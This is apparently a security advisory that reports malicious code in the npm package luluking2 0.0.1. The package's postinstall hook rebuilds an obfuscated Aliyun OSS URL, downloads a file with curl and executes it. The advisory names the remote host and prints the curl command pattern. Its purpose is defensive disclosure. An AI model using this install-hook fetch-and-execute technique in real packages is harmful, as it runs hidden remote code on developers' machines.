MAL-2026-12398

    Dashboard / Malicious Package / MAL-2026-12398

    MAL-2026-12398

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in luluking2 (npm)

    Details: Source: amazon-inspector (495a71c4dcddec545026181c7faeef59cf4c79b4816a148fb88c59c5465e8c97) On npm install, the package's postinstall hook runs index.js, which reconstructs a URL from a char-code array (String.fromCharCode.apply on a numeric literal array with _0x-prefixed identifiers) resolving to https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js. It shells out via execSync to `curl -sL -o ".cache" "<url>"`, then require()s the downloaded file and deletes it. The destination URL, the filename, and the curl command string are all obfuscated via char-code reconstruction to hide the network destination from source inspection. The remote content is attacker-mutable (an Aliyun OSS bucket) and is executed inside the installing Node process on every install. Package metadata is placeholder-level with no legitimate declared purpose that would justify fetching and executing remote code at install time.

    References: https://www.npmjs.com/package/luluking2/v/0.0.1

    Affected packages

    Package

    Name: luluking2

    Purl: pkg:npm/luluking2

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.0.1